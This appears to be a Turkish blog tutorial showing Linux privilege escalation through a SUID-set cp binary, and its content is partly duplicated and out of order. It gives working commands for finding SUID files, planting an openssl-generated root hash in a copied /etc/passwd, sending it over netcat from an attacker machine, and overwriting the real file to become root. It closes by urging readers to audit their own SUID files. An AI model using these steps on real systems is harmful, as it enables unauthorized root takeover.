SUID Bitleri İle Yetki Yükseltme (Privilege Esclation): Cp Komutu İle /etc/passwd Dosyasını Değiştirme
Merhablar bugün sizlerle yetki yükseltmemizi sağlayan SUID bitleri ayarlanmış programların nasıl kullanılacağını inceleyeceğiz.
Şimdi de SUID biti ayarlanan bir dosyanın yetkilerini görüntüleyelim
Görüldüğü gibi yetkilerde "s" harfi dikkatimizi çekiyor. Yetkilerin de "s" harfi var ise bu dosya SUID biti ile ayarlanmış olup, programı root yetkisi ile çalıştırmamızı sağlamaktadır.
Kullanımı:
sudo chmod +s <dosya_adi> -----> SUID Biti Ataması Yapar
sudo chmod -s <dosya_adi> -------> SUID Biti Çıkarılmasını Sağlar
Bu komutları kullanarak sizde denemek için oluşturacağınız bir dosya üzerinde test edebilirsiniz.
find / -perm -u=+s -type f 2>/dev/null
/: Tüm Klasörde ara anlamına gelir
-perm: Sonrasında yazacağımız yetkilere sahip dosyaları getirmesini sağlar
-u=+<yetki>: Hangi yetkiye sahip dosyaların getirileceğini belirtir
-type: Bulunacak dosya tipini belirler.
2>/dev/null: Olumsuz sonuçları ekrana yazdırmaz
Resimde de görüldüğü gibi bize SUID biti ayarlanmış dosyaları getirdi. Biz şimdi yetki yükseltme işlemini "cp" komutu ile gerçekleştireceğiz. Bu işlemi gerçekleştirebilmek için SUID biti ayarlanmış dosyalar arasında "/bin/cp" bulunması şarttır.İzleyeceğimiz yol haritası şu şekilde olacaktır:
Evet mouse ile tüm içeriği kopyalayarak kendi makinemizde "passwd" adında bir dosya oluşturup içine yapıştıralım.
"/etc/passwd" dosyası kullanıcıların bilgilerini ve şifrelerini saklayan bir dosyadır. Biz bunun içeriğini değiştirip hedef makineye postalayacağız. root'un kullanıcı bilgilerindeki ":x:" olan yere kendi belirlediğimiz hash'i yazarsak, belirlediğimiz şifre ile root olarak login olabiliriz.
openssl passwd <sifre>
Bu komut ile hash elde edebiliriz
Görüldüğü gibi ben şifreyi "deneme" olarak belirledim. Şimdi gelelim elde ettiğimiz hash'i passwd dosyasının içine yazmaya. "nano <modifiye_edeceğimiz dosya_adi>" komutunu kullanalım.
":x:" burdaki x'i silip yerine elde ettiğimiz hash'i yazalım. Ctrl+x yaparak dosyayı kaydedelim. Tüm bu işlemleri kendi makinemizde yaptık. İçeriğini değiştirdiğimiz dosyayı hedef makinemize atmamız lazım. Bunun için "nc programını kullanabiliriz". Kendi makinemizde:
nc -lvp <port> < transfer_etmek_istediğimiz_dosya
komutunu çalıştırıp hedef makinemizin bizim makinemize bağlanması ve dosyayı aktarması için makinemizi dinlemeye alalım.
Şimdi de hedef makinemize gidip kendi makinemize bağlantı açalım.
nc "kendi_ip'miz" "dinlemeye_aldığımız_port" > "dosya_adi"
Komutu çalıştırdıktan sonra kendi makinemize gelip Ctrl+C yaparak işlemi bitirebiliriz. "ls -l" komutunu çalıştırdığımızda dosyanın aktarıldığını görebiliriz.
Yavaş yavaş sona doğru geldik.Normalde root olmadan bu işlemi gerçekleştirmemiz imkansız fakat "cp" komutuna SUID biti atandığı için bu işlemi root yetkisi ile gerçekleştirebiliriz
cp <modifiye_edilien_dosya> /etc/passwd
Komutunu kullanalım
Görüldüğü gibi kopyalama işlemini yaptıktan sonra yeni /etc/passwd dosyasını okuduğumuzda içeriğini değiştirdiğimiz dosya /etc/passwd yerini aldı. Artık root olabiliriz.
Belirlediğimiz şifre ile giriş yaptık. "id" komutunu çalıştırarak kim olduğumzu anladık 😏.
Evet bugün sizlerle SUID bitinin ne olduğunu, ne gibi sıkıntılar çıkarabileceğini anlamış olduk. Kopyalama metodu (cp) SUID Biti zaafiyetinden doğan metodlardan biri sadece. Sizde kendi makinenizdeki SUID biti ayarlanmış dosyalara bakabilir, bunları değiştirerek kendi güvenlik önlemlerinizi alabilirsiniz. Umarım bu yazı sizler için faydalı olmuştur. Yeniden görüşmek üzere hoşçakalın...✋💓
SUID nedir?
SUID (Set User Id) sayesinde kendi kullanıcı yetkimizden daha yetkili bir şekilde komut çalıştırmamızı sağlayan bir bittir. Peki dosyaların SUID bitinin ayarlanmış olduğunu nasıl anlayacağız. Belirlediğimiz herhangi bir dosyanın izin yetkilerini görüntülemek için "ls -l" komutu çalıştıralım.Şimdi de SUID biti ayarlanan bir dosyanın yetkilerini görüntüleyelim
Görüldüğü gibi yetkilerde "s" harfi dikkatimizi çekiyor. Yetkilerin de "s" harfi var ise bu dosya SUID biti ile ayarlanmış olup, programı root yetkisi ile çalıştırmamızı sağlamaktadır.
SUID Bitleri Nasıl Ayarlanır ?
SUID Bitlerini ayarlamak için chmod komutu kullanabilirsiniz. Chmod sayesinde bir dosyaya yetki verip yetki alabilirsiniz.Kullanımı:
sudo chmod +s <dosya_adi> -----> SUID Biti Ataması Yapar
sudo chmod -s <dosya_adi> -------> SUID Biti Çıkarılmasını Sağlar
Bu komutları kullanarak sizde denemek için oluşturacağınız bir dosya üzerinde test edebilirsiniz.
SUID İle Yetki Yükseltme
Evet gelelim asıl mevzuya. SUID biti ayarlanmış dosyalarını teker teker aramak biraz zor iş. "find" komutu ile sistemdeki tüm SUID biti ayarlanmış dosyaları bulabiliriz. Hedef makine üzerinde aşağıdaki komutu çalıştıralım.find / -perm -u=+s -type f 2>/dev/null
/: Tüm Klasörde ara anlamına gelir
-perm: Sonrasında yazacağımız yetkilere sahip dosyaları getirmesini sağlar
-u=+<yetki>: Hangi yetkiye sahip dosyaların getirileceğini belirtir
-type: Bulunacak dosya tipini belirler.
2>/dev/null: Olumsuz sonuçları ekrana yazdırmaz
Resimde de görüldüğü gibi bize SUID biti ayarlanmış dosyaları getirdi. Biz şimdi yetki yükseltme işlemini "cp" komutu ile gerçekleştireceğiz. Bu işlemi gerçekleştirebilmek için SUID biti ayarlanmış dosyalar arasında "/bin/cp" bulunması şarttır.İzleyeceğimiz yol haritası şu şekilde olacaktır:
- "/etc/passwd" dosyasını içeriğini değiştirmek
- Oluşturduğumuz yeni dosyayı kopyalarak "/etc/passwd" nin yerini almasını sağlamak
Evet mouse ile tüm içeriği kopyalayarak kendi makinemizde "passwd" adında bir dosya oluşturup içine yapıştıralım.
"/etc/passwd" dosyası kullanıcıların bilgilerini ve şifrelerini saklayan bir dosyadır. Biz bunun içeriğini değiştirip hedef makineye postalayacağız. root'un kullanıcı bilgilerindeki ":x:" olan yere kendi belirlediğimiz hash'i yazarsak, belirlediğimiz şifre ile root olarak login olabiliriz.
openssl passwd <sifre>
Bu komut ile hash elde edebiliriz
Görüldüğü gibi ben şifreyi "deneme" olarak belirledim. Şimdi gelelim elde ettiğimiz hash'i passwd dosyasının içine yazmaya. "nano <modifiye_edeceğimiz dosya_adi>" komutunu kullanalım.
":x:" burdaki x'i silip yerine elde ettiğimiz hash'i yazalım. Ctrl+x yaparak dosyayı kaydedelim. Tüm bu işlemleri kendi makinemizde yaptık. İçeriğini değiştirdiğimiz dosyayı hedef makinemize atmamız lazım. Bunun için "nc programını kullanabiliriz". Kendi makinemizde:
nc -lvp <port> < transfer_etmek_istediğimiz_dosya
komutunu çalıştırıp hedef makinemizin bizim makinemize bağlanması ve dosyayı aktarması için makinemizi dinlemeye alalım.
Şimdi de hedef makinemize gidip kendi makinemize bağlantı açalım.
nc "kendi_ip'miz" "dinlemeye_aldığımız_port" > "dosya_adi"
Komutu çalıştırdıktan sonra kendi makinemize gelip Ctrl+C yaparak işlemi bitirebiliriz. "ls -l" komutunu çalıştırdığımızda dosyanın aktarıldığını görebiliriz.
Yavaş yavaş sona doğru geldik.Normalde root olmadan bu işlemi gerçekleştirmemiz imkansız fakat "cp" komutuna SUID biti atandığı için bu işlemi root yetkisi ile gerçekleştirebiliriz
cp <modifiye_edilien_dosya> /etc/passwd
Komutunu kullanalım
Görüldüğü gibi kopyalama işlemini yaptıktan sonra yeni /etc/passwd dosyasını okuduğumuzda içeriğini değiştirdiğimiz dosya /etc/passwd yerini aldı. Artık root olabiliriz.
Belirlediğimiz şifre ile giriş yaptık. "id" komutunu çalıştırarak kim olduğumzu anladık 😏.
Evet bugün sizlerle SUID bitinin ne olduğunu, ne gibi sıkıntılar çıkarabileceğini anlamış olduk. Kopyalama metodu (cp) SUID Biti zaafiyetinden doğan metodlardan biri sadece. Sizde kendi makinenizdeki SUID biti ayarlanmış dosyalara bakabilir, bunları değiştirerek kendi güvenlik önlemlerinizi alabilirsiniz. Umarım bu yazı sizler için faydalı olmuştur. Yeniden görüşmek üzere hoşçakalın...✋💓
Yorumlar
Yorum Gönder